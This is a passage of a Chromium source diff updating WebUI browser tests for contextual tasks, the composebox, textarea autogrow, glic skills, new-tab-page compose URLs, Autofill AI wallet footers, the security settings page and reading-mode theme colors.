     document.body.innerHTML = window.trustedTypes!.emptyHTML;
diff --git a/chrome/test/data/webui/contextual_tasks/contextual_tasks_browsertest.cc b/chrome/test/data/webui/contextual_tasks/contextual_tasks_browsertest.cc
index cd1cf6b..a7e59f5 100644
--- a/chrome/test/data/webui/contextual_tasks/contextual_tasks_browsertest.cc
+++ b/chrome/test/data/webui/contextual_tasks/contextual_tasks_browsertest.cc
@@ -27,7 +27,13 @@
   RunTest("contextual_tasks/app_test.js", "mocha.run();");
 }
 
-IN_PROC_BROWSER_TEST_F(ContextualTasksBrowserTest, Composebox) {
+// TODO(https://crbug.com/480689282): Flaky on Linux.
+#if BUILDFLAG(IS_LINUX)
+#define MAYBE_Composebox DISABLED_Composebox
+#else
+#define MAYBE_Composebox Composebox
+#endif
+IN_PROC_BROWSER_TEST_F(ContextualTasksBrowserTest, MAYBE_Composebox) {
   RunTest("contextual_tasks/composebox_test.js", "mocha.run();");
 }
 
diff --git a/chrome/test/data/webui/contextual_tasks/contextual_tasks_pixel_interactive_ui_test.cc b/chrome/test/data/webui/contextual_tasks/contextual_tasks_pixel_interactive_ui_test.cc
index 9491573..83038749 100644
--- a/chrome/test/data/webui/contextual_tasks/contextual_tasks_pixel_interactive_ui_test.cc
+++ b/chrome/test/data/webui/contextual_tasks/contextual_tasks_pixel_interactive_ui_test.cc
@@ -431,11 +431,11 @@
                   OnIncompatibleAction::kIgnoreAndContinue,
                   "Screenshots not captured on this platform."),
               ScreenshotWebUi(kActiveTab, menu, "ContextualTasksToolbarMenu",
-                              /*baseline_cl=*/"7530305")),
+                              /*baseline_cl=*/"7546401")),
          Else(WaitForWebContentsPainted(kActiveTab),
               SetOnIncompatibleAction(
                   OnIncompatibleAction::kIgnoreAndContinue,
                   "Screenshots not captured on this platform."),
               ScreenshotWebUi(kActiveTab, toolbar, "ContextualTasksToolbar",
-                              /*baseline_cl=*/"7530305"))));
+                              /*baseline_cl=*/"7546401"))));
 }
diff --git a/chrome/test/data/webui/contextual_tasks/top_toolbar_test.ts b/chrome/test/data/webui/contextual_tasks/top_toolbar_test.ts
index 2de7ed9..9cce5cb 100644
--- a/chrome/test/data/webui/contextual_tasks/top_toolbar_test.ts
+++ b/chrome/test/data/webui/contextual_tasks/top_toolbar_test.ts
@@ -131,10 +131,10 @@
     assertEquals(1, headers.length);
 
     // Click the first tab item.
-    const tabButton = sourcesMenuElement.shadowRoot.querySelector<HTMLElement>(
-        'button.dropdown-item');
-    assertTrue(!!tabButton);
-    tabButton.click();
+    const tabItem = sourcesMenuElement.shadowRoot.querySelector<HTMLElement>(
+        'cr-url-list-item.dropdown-item');
+    assertTrue(!!tabItem);
+    tabItem.click();
 
     const [tabId, url] =
         await proxy.handler.whenCalled('onTabClickedFromSourcesMenu');
@@ -166,10 +166,10 @@
     assertEquals(1, headers.length);
 
     // Click the first file item.
-    const fileButton = sourcesMenuElement.shadowRoot.querySelector<HTMLElement>(
-        'button.dropdown-item');
-    assertTrue(!!fileButton);
-    fileButton.click();
+    const fileItem = sourcesMenuElement.shadowRoot.querySelector<HTMLElement>(
+        'cr-url-list-item.dropdown-item');
+    assertTrue(!!fileItem);
+    fileItem.click();
 
     const url = await proxy.handler.whenCalled('onFileClickedFromSourcesMenu');
     assertDeepEquals(url, file.url);
@@ -200,11 +200,10 @@
     assertEquals(1, headers.length);
 
     // Click the first image item.
-    const imageButton =
-        sourcesMenuElement.shadowRoot.querySelector<HTMLElement>(
-            'button.dropdown-item');
-    assertTrue(!!imageButton);
-    imageButton.click();
+    const imageItem = sourcesMenuElement.shadowRoot.querySelector<HTMLElement>(
+        'cr-url-list-item.dropdown-item');
+    assertTrue(!!imageItem);
+    imageItem.click();
 
     const url = await proxy.handler.whenCalled('onImageClickedFromSourcesMenu');
     assertDeepEquals(url, image.url);
diff --git a/chrome/test/data/webui/cr_components/composebox/context_menu_entrypoint_test.ts b/chrome/test/data/webui/cr_components/composebox/context_menu_entrypoint_test.ts
index c518c56..63e4c37 100644
--- a/chrome/test/data/webui/cr_components/composebox/context_menu_entrypoint_test.ts
+++ b/chrome/test/data/webui/cr_components/composebox/context_menu_entrypoint_test.ts
@@ -343,7 +343,7 @@
     // Simulate parent component behavior of listening for event and changing
     // property.
     entrypoint.addEventListener('deep-search-click', () => {
-      entrypoint.inputsDisabled = !entrypoint.inputsDisabled;
+      entrypoint.uploadButtonDisabled = !entrypoint.uploadButtonDisabled;
     });
     await entrypoint.updateComplete;
 
@@ -352,7 +352,7 @@
     // Assert entrypoint is enabled initially.
     const deepSearchButton = $$<HTMLButtonElement>(entrypoint, '#deepSearch');
     assertTrue(!!deepSearchButton);
-    assertFalse(entrypoint.inputsDisabled);
+    assertFalse(entrypoint.uploadButtonDisabled);
 
     // Click deep search button.
     const eventFired = eventToPromise('deep-search-click', entrypoint);
@@ -362,14 +362,14 @@
 
     // Assert menu is closed and entrypoint is disabled.
     assertFalse(entrypoint.$.menu.open);
-    assertTrue(entrypoint.inputsDisabled);
+    assertTrue(entrypoint.uploadButtonDisabled);
 
     // Toggle deep search button.
     entrypoint['onDeepSearchClick_']();
     await entrypoint.updateComplete;
 
     // Assert entrypoint is enabled again.
-    assertFalse(entrypoint.inputsDisabled);
+    assertFalse(entrypoint.uploadButtonDisabled);
   });
 
   test('image upload is disabled based on state', async () => {
diff --git a/chrome/test/data/webui/cr_elements/cr_textarea_focus_test.ts b/chrome/test/data/webui/cr_elements/cr_textarea_focus_test.ts
index 0bde4bc..ea14530 100644
--- a/chrome/test/data/webui/cr_elements/cr_textarea_focus_test.ts
+++ b/chrome/test/data/webui/cr_elements/cr_textarea_focus_test.ts
@@ -106,4 +106,39 @@
     assertEquals('1', getComputedStyle(underline).opacity);
     assertNotEquals(currentColor, getComputedStyle(firstFooter).color);
   });
+
+  test('autogrows', async () => {
+    let currentHeight = crTextarea.$.input.offsetHeight;
+    crTextarea.autogrow = true;
+    await microtasksFinished();
+
+    crTextarea.rows = 1;
+    await microtasksFinished();
+    assertTrue(
+        currentHeight > crTextarea.$.input.offsetHeight,
+        'decreasing rows decreases the min-height');
+    currentHeight = crTextarea.$.input.offsetHeight;
+
+    crTextarea.value = '\n\n\n\n\n';
+    await microtasksFinished();
+    assertTrue(
+        currentHeight < crTextarea.$.input.offsetHeight,
+        'textarea grows in height');
+    currentHeight = crTextarea.$.input.offsetHeight;
+
+    crTextarea.value = '\n\n\n\n\n\n\n';
+    await microtasksFinished();
+    assertTrue(
+        currentHeight < crTextarea.$.input.offsetHeight,
+        'textarea continues to grow');
+
+    const textareaStyle = crTextarea.$.input.computedStyleMap();
+    const paddingBlock =
+        (textareaStyle.get('padding-top') as CSSUnitValue).value +
+        (textareaStyle.get('padding-bottom') as CSSUnitValue).value;
+    crTextarea.style.setProperty('--cr-textarea-autogrow-max-height', '60px');
+    assertEquals(
+        60 + paddingBlock, crTextarea.$.input.offsetHeight,
+        'sets the max-height');
+  });
 });
diff --git a/chrome/test/data/webui/glic/browser_tests/glic_api_browsertest.ts b/chrome/test/data/webui/glic/browser_tests/glic_api_browsertest.ts
index 5740ef1..aaab686 100644
--- a/chrome/test/data/webui/glic/browser_tests/glic_api_browsertest.ts
+++ b/chrome/test/data/webui/glic/browser_tests/glic_api_browsertest.ts
@@ -1,7 +1,7 @@
 // Copyright 2025 The Chromium Authors
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
-import {CaptureRegionErrorReason, HostCapability, MetricUserInputReactionType, PanelStateKind, Platform, ResponseStopCause, ScrollToErrorReason, WebClientMode} from '/glic/glic_api/glic_api.js';
+import {CaptureRegionErrorReason, HostCapability, MetricUserInputReactionType, PanelStateKind, Platform, ResponseStopCause, ScrollToErrorReason, SkillSource, WebClientMode} from '/glic/glic_api/glic_api.js';
 import type {CancelActionsResult, CaptureRegionResult, FocusedTabData, GetPinCandidatesOptions, GlicBrowserHost, OpenPanelInfo, PageMetadata, PanelOpeningData, ScrollToError, TabData, UserConfirmationDialogRequest, UserProfileInfo, ZeroStateSuggestionsV2} from '/glic/glic_api/glic_api.js';
 
 import {ApiTestError, ApiTestFixtureBase, assertDefined, assertEquals, assertFalse, assertNotEquals, assertRejects, assertTrue, assertUndefined, checkDefined, mapObservable, observeSequence, readStream, runUntil, sleep, testMain, waitFor, WebClient} from './browser_test_base.js';
@@ -2746,6 +2746,18 @@
     this.host.showManageSkillsUi();
   }
 
+  async testDisplaySkillInDialogSuccess() {
+    assertDefined(this.host.createSkill);
+    const request = {
+      id: 'id',
+      name: 'name',
+      icon: 'icon',
+      prompt: 'prompt',
+      source: SkillSource.FIRST_PARTY,
+    };
+    this.host.createSkill(request);
+  }
+
   async testSendingContextualSkillsToGlic() {
     assertDefined(this.host.getSkillPreviews);
     const skillPreviewsSequence = observeSequence(this.host.getSkillPreviews());
diff --git a/chrome/test/data/webui/glic/test_client/page_element_types.ts b/chrome/test/data/webui/glic/test_client/page_element_types.ts
index 651eabb..6b21bca 100644
--- a/chrome/test/data/webui/glic/test_client/page_element_types.ts
+++ b/chrome/test/data/webui/glic/test_client/page_element_types.ts
@@ -172,6 +172,9 @@
   textmode: HTMLInputElement;
   audiomode: HTMLInputElement;
   skillIdInput: HTMLInputElement;
+  skillNameInput: HTMLInputElement;
+  skillIconInput: HTMLInputElement;
+  skillSourceSelect: HTMLSelectElement;
   skillPromptInput: HTMLInputElement;
   createSkillBtn: HTMLButtonElement;
   updateSkillBtn: HTMLButtonElement;
diff --git a/chrome/test/data/webui/glic/test_client/sections/skills.ts b/chrome/test/data/webui/glic/test_client/sections/skills.ts
index 63f597e0..3f096c6 100644
--- a/chrome/test/data/webui/glic/test_client/sections/skills.ts
+++ b/chrome/test/data/webui/glic/test_client/sections/skills.ts
@@ -2,13 +2,19 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
+import type {SkillSource} from '/glic/glic_api/glic_api.js';
+
 import {getBrowser, logMessage} from '../client.js';
 import {$} from '../page_element_types.js';
 
 $.createSkillBtn.addEventListener('click', async () => {
+  const id = $.skillIdInput.value;
+  const name = $.skillNameInput.value;
+  const icon = $.skillIconInput.value;
   const prompt = $.skillPromptInput.value;
+  const source = Number($.skillSourceSelect.value) as SkillSource;
   try {
-    await getBrowser()!.createSkill!({prompt});
+    await getBrowser()!.createSkill!({id, name, icon, prompt, source});
     logMessage('createSkill called');
   } catch (e) {
     logMessage(`createSkill failed: ${e}`);
diff --git a/chrome/test/data/webui/new_tab_page/app_test.ts b/chrome/test/data/webui/new_tab_page/app_test.ts
index b128920..bc744b4 100644
--- a/chrome/test/data/webui/new_tab_page/app_test.ts
+++ b/chrome/test/data/webui/new_tab_page/app_test.ts
@@ -1152,6 +1152,42 @@
                     'NewTabPage.ComposeEntrypoint.Click.UserTextPresent',
                     true));
           });
+
+      test('compose entrypoint navigates with correct parameters', async () => {
+        // Arrange.
+        loadTimeData.overrideValues({
+          googleBaseUrl: 'https://www.google.com',
+        });
+        const openResolver = new PromiseResolver<string>();
+        const originalOpen = window.open;
+        window.open = (url) => {
+          openResolver.resolve(url as string);
+          return null;
+        };
+
+        const searchboxContainer =
+            app.shadowRoot.querySelector('cr-searchbox');
+        const composeButton = getComposeButton();
+        assertTrue(!!composeButton);
+
+        searchboxContainer!.shadowRoot
+            .querySelector<HTMLInputElement>('#input')!.value = 'hello';
+
+        // Act.
+        composeButton.dispatchEvent(new CustomEvent(
+            'compose-click', DEFAULT_COMPOSE_CLICK_EVENT_OPTIONS));
+
+        // Assert.
+        const url = new URL(await openResolver.promise);
+        assertEquals('chrome', url.searchParams.get('sourceid'));
+        assertEquals('50', url.searchParams.get('udm'));
+        assertEquals('42', url.searchParams.get('aep'));
+        assertEquals('chrome.crn.rb', url.searchParams.get('source'));
+        assertEquals('hello', url.searchParams.get('q'));
+
+        // Cleanup.
+        window.open = originalOpen;
+      });
     });
 
     suite('compose entrypoint enabled - composebox disabled', () => {
diff --git a/chrome/test/data/webui/new_tab_page/composebox/composebox_test.ts b/chrome/test/data/webui/new_tab_page/composebox/composebox_test.ts
index b45a460..92d38cec 100644
--- a/chrome/test/data/webui/new_tab_page/composebox/composebox_test.ts
+++ b/chrome/test/data/webui/new_tab_page/composebox/composebox_test.ts
@@ -789,7 +789,7 @@
             ADD_FILE_CONTEXT_FN,
             {token: {low: BigInt(1), high: BigInt(2)}});
 
-        // Upload a PDF file. `inputsDisabled` should be true.
+        // Upload a PDF file. `uploadButtonDisabled` should be true.
         const pdfFile = new File(['foo'], 'foo.pdf', {type: 'application/pdf'});
         const dataTransfer = new DataTransfer();
         dataTransfer.items.add(pdfFile);
@@ -799,21 +799,21 @@
 
         await searchboxHandler.whenCalled(ADD_FILE_CONTEXT_FN);
         await microtasksFinished();
-        assertTrue(composeboxElement.$.context['inputsDisabled_']);
+        assertTrue(composeboxElement.$.context['uploadButtonDisabled_']);
 
-        // Delete the file. `inputsDisabled` should be false.
+        // Delete the file. `uploadButtonDisabled` should be false.
         const deletedId = composeboxElement.$.context.$.carousel.files[0]!.uuid;
         composeboxElement.$.context.$.carousel.dispatchEvent(new CustomEvent(
             'delete-file',
             {detail: {uuid: deletedId}, bubbles: true, composed: true}));
         await microtasksFinished();
-        assertFalse(composeboxElement.$.context['inputsDisabled_']);
+        assertFalse(composeboxElement.$.context['uploadButtonDisabled_']);
         searchboxHandler.resetResolver(ADD_FILE_CONTEXT_FN);
         searchboxHandler.setPromiseResolveFor(
             ADD_FILE_CONTEXT_FN,
             {token: {low: BigInt(3), high: BigInt(4)}});
 
-        // Upload an image file. `inputsDisabled` should be false.
+        // Upload an image file. `uploadButtonDisabled` should be false.
         const imageFile = new File(['foo'], 'foo.png', {type: 'image/png'});
         const dataTransfer2 = new DataTransfer();
         dataTransfer2.items.add(imageFile);
@@ -824,19 +824,19 @@
 
         await searchboxHandler.whenCalled(ADD_FILE_CONTEXT_FN);
         await microtasksFinished();
-        assertFalse(composeboxElement.$.context['inputsDisabled_']);
+        assertFalse(composeboxElement.$.context['uploadButtonDisabled_']);
 
-        // Enter create image mode. `inputsDisabled` should be true.
+        // Enter create image mode. `uploadButtonDisabled` should be true.
         composeboxElement.$.context['activeTool_'] =
             ComposeboxToolMode.kImageGen;
         await composeboxElement.$.context.updateComplete;
-        assertTrue(composeboxElement.$.context['inputsDisabled_']);
+        assertTrue(composeboxElement.$.context['uploadButtonDisabled_']);
 
-        // Exit create image mode. `inputsDisabled` should be false.
+        // Exit create image mode. `uploadButtonDisabled` should be false.
         composeboxElement.$.context['activeTool_'] =
             ComposeboxToolMode.kUnspecified;
         await composeboxElement.$.context.updateComplete;
-        assertFalse(composeboxElement.$.context['inputsDisabled_']);
+        assertFalse(composeboxElement.$.context['uploadButtonDisabled_']);
       });
 
   test('session abandoned on esc click', async () => {
@@ -1379,7 +1379,7 @@
         ComposeboxToolMode.kImageGen,
         searchboxHandler.getArgs('setActiveToolMode')[0]);
 
-    // Upload an image file. `inputsDisabled` should be false.
+    // Upload an image file. `uploadButtonDisabled` should be false.
     const id = generateZeroId();
     await uploadFileAndVerify(
         id, new File(['foo'], 'foo.jpg', {type: 'image/jpeg'}));
diff --git a/chrome/test/data/webui/new_tab_page/composebox/threads_rail_test.ts b/chrome/test/data/webui/new_tab_page/composebox/threads_rail_test.ts
index 1889edde..547edc3 100644
--- a/chrome/test/data/webui/new_tab_page/composebox/threads_rail_test.ts
+++ b/chrome/test/data/webui/new_tab_page/composebox/threads_rail_test.ts
@@ -13,12 +13,13 @@
 import {installMock} from '../test_support.js';
 
 const AIM_THREADS_HISTORY_LABEL = 'AI Mode history';
+const DESKTOP_CHROME_NTP_THREADS_SOURCE = 'chrome.crn.rb';
 const DESKTOP_CHROME_NTP_THREADS_ENTRY_POINT = 129;
 const AIM_DISPLAY_MODE = 50;
 const AIM_THREADS_VISIBILITY_MODE = 3;
 const AIM_THREADS_URL = `https://www.google.com/search?udm=${
     AIM_DISPLAY_MODE}&aep=${DESKTOP_CHROME_NTP_THREADS_ENTRY_POINT}&atvm=${
-    AIM_THREADS_VISIBILITY_MODE}`;
+    AIM_THREADS_VISIBILITY_MODE}&source=${DESKTOP_CHROME_NTP_THREADS_SOURCE}`;
 
 suite('NewTabPageThreadsRailTest', () => {
   let threadsRailElement: ThreadsRailElement;
diff --git a/chrome/test/data/webui/omnibox_popup/omnibox_popup_browsertest.cc b/chrome/test/data/webui/omnibox_popup/omnibox_popup_browsertest.cc
index de1fecc4..8aecda0 100644
--- a/chrome/test/data/webui/omnibox_popup/omnibox_popup_browsertest.cc
+++ b/chrome/test/data/webui/omnibox_popup/omnibox_popup_browsertest.cc
@@ -7,6 +7,7 @@
 #include "chrome/browser/ui/omnibox/omnibox_next_features.h"
 #include "chrome/common/webui_url_constants.h"
 #include "chrome/test/base/web_ui_mocha_browser_test.h"
+#include "components/omnibox/browser/aim_eligibility_service_features.h"
 #include "components/omnibox/common/omnibox_features.h"
 #include "content/public/test/browser_test.h"
 
@@ -14,8 +15,9 @@
  protected:
   OmniboxPopupTest() {
     set_test_loader_host(chrome::kChromeUIOmniboxPopupHost);
-    scoped_feature_list_.InitWithFeatures({omnibox::kWebUIOmniboxPopup},
-                                          {omnibox::kWebUIOmniboxFullPopup});
+    scoped_feature_list_.InitWithFeatures(
+        {omnibox::kWebUIOmniboxPopup},
+        {omnibox::kWebUIOmniboxFullPopup, omnibox::kAimUsePecApi});
   }
 
  private:
diff --git a/chrome/test/data/webui/settings/autofill_ai_add_or_edit_dialog_test.ts b/chrome/test/data/webui/settings/autofill_ai_add_or_edit_dialog_test.ts
index 773ffc79..128157b4 100644
--- a/chrome/test/data/webui/settings/autofill_ai_add_or_edit_dialog_test.ts
+++ b/chrome/test/data/webui/settings/autofill_ai_add_or_edit_dialog_test.ts
@@ -7,6 +7,7 @@
 
 import {flushTasks} from 'chrome://webui-test/polymer_test_util.js';
 import {assertDeepEquals, assertEquals, assertFalse, assertNotEquals, assertTrue} from 'chrome://webui-test/chai_assert.js';
+import {loadTimeData} from 'chrome://settings/settings.js';
 import type {CrButtonElement, CrInputElement, SettingsAutofillAiAddOrEditDialogElement} from 'chrome://settings/lazy_load.js';
 import {EntityDataManagerProxyImpl} from 'chrome://settings/lazy_load.js';
 import {eventToPromise, isVisible} from 'chrome://webui-test/test_util.js';
@@ -36,7 +37,7 @@
         addEntityTypeString: 'Add vehicle',
         editEntityTypeString: 'Edit vehicle',
         deleteEntityTypeString: 'Delete vehicle',
-        supportsWalletStorage: false,
+        supportsWalletStorage: true,
       },
       attributeInstances: [
         {
@@ -194,6 +195,12 @@
               dialog.shadowRoot!.querySelector<HTMLElement>('.action-button');
           assertTrue(!!saveButton);
 
+          // Expect storedInWallet to be set if supportsWalletStorage is true
+          // and only when new entities.
+          if (params.add && testEntityInstance.type.supportsWalletStorage) {
+            expectedEntityInstance.storedInWallet = true;
+          }
+
           const dialogConfirmedPromise =
               eventToPromise('autofill-ai-add-or-edit-done', dialog);
           saveButton.click();
@@ -355,6 +362,57 @@
     assertFalse(
         inputs[0]!.invalid, 'Required field should be valid after input');
   });
+
+  test('FooterVisibleForEligibleEntityWithEmail', async function() {
+    const userEmail = 'test@example.com';
+    const originalGetAccountInfo = chrome.autofillPrivate.getAccountInfo;
+    chrome.autofillPrivate.getAccountInfo = () => Promise.resolve({
+      email: userEmail,
+      isSyncEnabledForAutofillProfiles: true,
+      isEligibleForAddressAccountStorage: true,
+      isAutofillSyncToggleEnabled: true,
+      isAutofillSyncToggleAvailable: true,
+    });
+
+    try {
+      // Use the test entity which has supportsWalletStorage set to true.
+      const newEntity = structuredClone(testEntityInstance);
+      newEntity.guid = '';
+      dialog.entityInstance = newEntity;
+      loadTimeData.overrideValues({
+        saveInfoToWalletAccountNotice: 'Save to $1 using $2',
+        googleWalletTitle: 'Google Wallet',
+      });
+
+      document.body.appendChild(dialog);
+      await entityDataManager.whenCalled(
+          'getAllAttributeTypesForEntityTypeName');
+      await flushTasks();
+
+      const footer = dialog.shadowRoot!.querySelector<HTMLElement>('#footer');
+      assertTrue(!!footer);
+      assertFalse(
+          footer.hidden, 'Footer should be visible for eligible entity');
+    } finally {
+      // Restore to its original state so that it doesn't affect other tests.
+      chrome.autofillPrivate.getAccountInfo = originalGetAccountInfo;
+    }
+  });
+
+  test('FooterHiddenForIneligibleEntity', async function() {
+    // Create ineligible entity
+    const ineligibleEntity = structuredClone(testEntityInstance);
+    ineligibleEntity.type.supportsWalletStorage = false;
+
+    dialog.entityInstance = ineligibleEntity;
+    document.body.appendChild(dialog);
+    await entityDataManager.whenCalled('getAllAttributeTypesForEntityTypeName');
+    await flushTasks();
+
+    const footer = dialog.shadowRoot!.querySelector<HTMLElement>('#footer');
+    assertTrue(!!footer);
+    assertTrue(footer.hidden, 'Footer should be hidden for ineligible entity');
+  });
 });
 
 suite('AutofillAiAddOrEditDialogSelectElementUiTest', function() {
diff --git a/chrome/test/data/webui/settings/security_page_v2_test.ts b/chrome/test/data/webui/settings/security_page_v2_test.ts
index 7f27b5d..ed01e916 100644
--- a/chrome/test/data/webui/settings/security_page_v2_test.ts
+++ b/chrome/test/data/webui/settings/security_page_v2_test.ts
@@ -435,12 +435,24 @@
   });
 
   test('AdvancedProtectionProgramTextLinkClick', async function() {
-    page.shadowRoot!
-        .querySelector<HTMLElement>(
-            '#advancedProtectionProgramLinkRow')!.querySelector('a')!.click();
+    // Click Advanced Protection Program link.
+    const linkRow = page.shadowRoot!.querySelector<HTMLElement>(
+        '#advancedProtectionProgramLinkRow');
+    assertTrue(!!linkRow, 'Link row should exist.');
 
+    const linkElement = linkRow.querySelector('a');
+    assertTrue(!!linkElement, 'Link element should exist.');
+
+    const event = new MouseEvent('click', {
+      bubbles: true,
+      cancelable: true,
+    });
+    linkElement.dispatchEvent(event);
+
+    // Verify that the default action of link navigation was ignored.
     const url = await openWindowProxy.whenCalled('openUrl');
     assertEquals(url, loadTimeData.getString('advancedProtectionURL'));
+    assertTrue(event.defaultPrevented);
   });
 
   test('SecureDnsV2HiddenWhenFlagDisabled', function() {
diff --git a/chrome/test/data/webui/side_panel/read_anything/app_style_updater_test.ts b/chrome/test/data/webui/side_panel/read_anything/app_style_updater_test.ts
index 9d11d5b..9e3196c5 100644
--- a/chrome/test/data/webui/side_panel/read_anything/app_style_updater_test.ts
+++ b/chrome/test/data/webui/side_panel/read_anything/app_style_updater_test.ts
@@ -626,6 +626,15 @@
     const expectedSepiaLightIcon = 'rgb(16, 16, 16)';
     const expectedSepiaDarkBg = 'rgb(17, 17, 17)';
     const expectedSepiaDarkIcon = 'rgb(18, 18, 18)';
+    const expectedDefaultControlsIcon = 'rgb(19, 19, 19)';
+    const expectedLightControlsIcon = 'rgb(20, 20, 20)';
+    const expectedDarkControlsIcon = 'rgb(21, 21, 21)';
+    const expectedYellowControlsIcon = 'rgb(22, 22, 22)';
+    const expectedBlueControlsIcon = 'rgb(23, 23, 23)';
+    const expectedHighContrastControlsIcon = 'rgb(24, 24, 24)';
+    const expectedLowContrastControlsIcon = 'rgb(25, 25, 25)';
+    const expectedSepiaLightControlsIcon = 'rgb(26, 26, 26)';
+    const expectedSepiaDarkControlsIcon = 'rgb(27, 27, 27)';
     updateStyles({
       '--color-read-anything-audio-player-background': expectedDefaultBg,
       '--color-read-anything-audio-player-icon': expectedDefaultIcon,
@@ -653,6 +662,23 @@
           expectedSepiaDarkBg,
       '--color-read-anything-audio-player-icon-sepia-dark':
           expectedSepiaDarkIcon,
+      '--color-read-anything-audio-controls-icon': expectedDefaultControlsIcon,
+      '--color-read-anything-audio-controls-icon-light':
+          expectedLightControlsIcon,
+      '--color-read-anything-audio-controls-icon-dark':
+          expectedDarkControlsIcon,
+      '--color-read-anything-audio-controls-icon-yellow':
+          expectedYellowControlsIcon,
+      '--color-read-anything-audio-controls-icon-blue':
+          expectedBlueControlsIcon,
+      '--color-read-anything-audio-controls-icon-high-contrast':
+          expectedHighContrastControlsIcon,
+      '--color-read-anything-audio-controls-icon-low-contrast':
+          expectedLowContrastControlsIcon,
+      '--color-read-anything-audio-controls-icon-sepia-light':
+          expectedSepiaLightControlsIcon,
+      '--color-read-anything-audio-controls-icon-sepia-dark':
+          expectedSepiaDarkControlsIcon,
     });
 
     // Default theme
@@ -662,6 +688,9 @@
         expectedDefaultBg, computeStyle('--audio-player-background-color'));
     assertEquals(
         expectedDefaultIcon, computeStyle('--audio-player-icon-color'));
+    assertEquals(
+        expectedDefaultControlsIcon,
+        computeStyle('--audio-controls-icon-color'));
 
     // Light theme
     chrome.readingMode.colorTheme = chrome.readingMode.lightTheme;
@@ -669,6 +698,8 @@
     assertEquals(
         expectedLightBg, computeStyle('--audio-player-background-color'));
     assertEquals(expectedLightIcon, computeStyle('--audio-player-icon-color'));
+    assertEquals(
+        expectedLightControlsIcon, computeStyle('--audio-controls-icon-color'));
 
     // Dark theme
     chrome.readingMode.colorTheme = chrome.readingMode.darkTheme;
@@ -676,6 +707,8 @@
     assertEquals(
         expectedDarkBg, computeStyle('--audio-player-background-color'));
     assertEquals(expectedDarkIcon, computeStyle('--audio-player-icon-color'));
+    assertEquals(
+        expectedDarkControlsIcon, computeStyle('--audio-controls-icon-color'));
 
     // Yellow theme
     chrome.readingMode.colorTheme = chrome.readingMode.yellowTheme;
@@ -683,6 +716,9 @@
     assertEquals(
         expectedYellowBg, computeStyle('--audio-player-background-color'));
     assertEquals(expectedYellowIcon, computeStyle('--audio-player-icon-color'));
+    assertEquals(
+        expectedYellowControlsIcon,
+        computeStyle('--audio-controls-icon-color'));
 
     // Blue theme
     chrome.readingMode.colorTheme = chrome.readingMode.blueTheme;
@@ -690,6 +726,8 @@
     assertEquals(
         expectedBlueBg, computeStyle('--audio-player-background-color'));
     assertEquals(expectedBlueIcon, computeStyle('--audio-player-icon-color'));
+    assertEquals(
+        expectedBlueControlsIcon, computeStyle('--audio-controls-icon-color'));
 
     // High contrast theme
     chrome.readingMode.colorTheme = chrome.readingMode.highContrastTheme;
@@ -699,6 +737,9 @@
         computeStyle('--audio-player-background-color'));
     assertEquals(
         expectedHighContrastIcon, computeStyle('--audio-player-icon-color'));
+    assertEquals(
+        expectedHighContrastControlsIcon,
+        computeStyle('--audio-controls-icon-color'));
 
     // Low contrast theme
     chrome.readingMode.colorTheme = chrome.readingMode.lowContrastTheme;
@@ -707,6 +748,9 @@
         expectedLowContrastBg, computeStyle('--audio-player-background-color'));
     assertEquals(
         expectedLowContrastIcon, computeStyle('--audio-player-icon-color'));
+    assertEquals(
+        expectedLowContrastControlsIcon,
+        computeStyle('--audio-controls-icon-color'));
 
     // Sepia light theme
     chrome.readingMode.colorTheme = chrome.readingMode.sepiaLightTheme;
@@ -715,6 +759,9 @@
         expectedSepiaLightBg, computeStyle('--audio-player-background-color'));
     assertEquals(
         expectedSepiaLightIcon, computeStyle('--audio-player-icon-color'));
+    assertEquals(
+        expectedSepiaLightControlsIcon,
+        computeStyle('--audio-controls-icon-color'));
 
     // Sepia dark theme
     chrome.readingMode.colorTheme = chrome.readingMode.sepiaDarkTheme;
@@ -723,6 +770,88 @@
         expectedSepiaDarkBg, computeStyle('--audio-player-background-color'));
     assertEquals(
         expectedSepiaDarkIcon, computeStyle('--audio-player-icon-color'));
+    assertEquals(
+        expectedSepiaDarkControlsIcon,
+        computeStyle('--audio-controls-icon-color'));
+  });
+
+  test('toolbar icon colors change with theme', () => {
+    const expectedDefaultToolbarIcon = 'rgb(1, 1, 1)';
+    const expectedLightToolbarIcon = 'rgb(2, 2, 2)';
+    const expectedDarkToolbarIcon = 'rgb(3, 3, 3)';
+    const expectedYellowToolbarIcon = 'rgb(4, 4, 4)';
+    const expectedBlueToolbarIcon = 'rgb(5, 5, 5)';
+    const expectedHighContrastToolbarIcon = 'rgb(6, 6, 6)';
+    const expectedLowContrastToolbarIcon = 'rgb(7, 7, 7)';
+    const expectedSepiaLightToolbarIcon = 'rgb(8, 8, 8)';
+    const expectedSepiaDarkToolbarIcon = 'rgb(9, 9, 9)';
+    updateStyles({
+      '--color-read-anything-toolbar-icon': expectedDefaultToolbarIcon,
+      '--color-read-anything-toolbar-icon-light': expectedLightToolbarIcon,
+      '--color-read-anything-toolbar-icon-dark': expectedDarkToolbarIcon,
+      '--color-read-anything-toolbar-icon-yellow': expectedYellowToolbarIcon,
+      '--color-read-anything-toolbar-icon-blue': expectedBlueToolbarIcon,
+      '--color-read-anything-toolbar-icon-high-contrast':
+          expectedHighContrastToolbarIcon,
+      '--color-read-anything-toolbar-icon-low-contrast':
+          expectedLowContrastToolbarIcon,
+      '--color-read-anything-toolbar-icon-sepia-light':
+          expectedSepiaLightToolbarIcon,
+      '--color-read-anything-toolbar-icon-sepia-dark':
+          expectedSepiaDarkToolbarIcon,
+    });
+
+    // Default theme
+    chrome.readingMode.colorTheme = chrome.readingMode.defaultTheme;
+    updater.setTheme();
+    assertEquals(
+        expectedDefaultToolbarIcon, computeStyle('--toolbar-icon-color'));
+
+    // Light theme
+    chrome.readingMode.colorTheme = chrome.readingMode.lightTheme;
+    updater.setTheme();
+    assertEquals(
+        expectedLightToolbarIcon, computeStyle('--toolbar-icon-color'));
+
+    // Dark theme
+    chrome.readingMode.colorTheme = chrome.readingMode.darkTheme;
+    updater.setTheme();
+    assertEquals(expectedDarkToolbarIcon, computeStyle('--toolbar-icon-color'));
+
+    // Yellow theme
+    chrome.readingMode.colorTheme = chrome.readingMode.yellowTheme;
+    updater.setTheme();
+    assertEquals(
+        expectedYellowToolbarIcon, computeStyle('--toolbar-icon-color'));
+
+    // Blue theme
+    chrome.readingMode.colorTheme = chrome.readingMode.blueTheme;
+    updater.setTheme();
+    assertEquals(expectedBlueToolbarIcon, computeStyle('--toolbar-icon-color'));
+
+    // High contrast theme
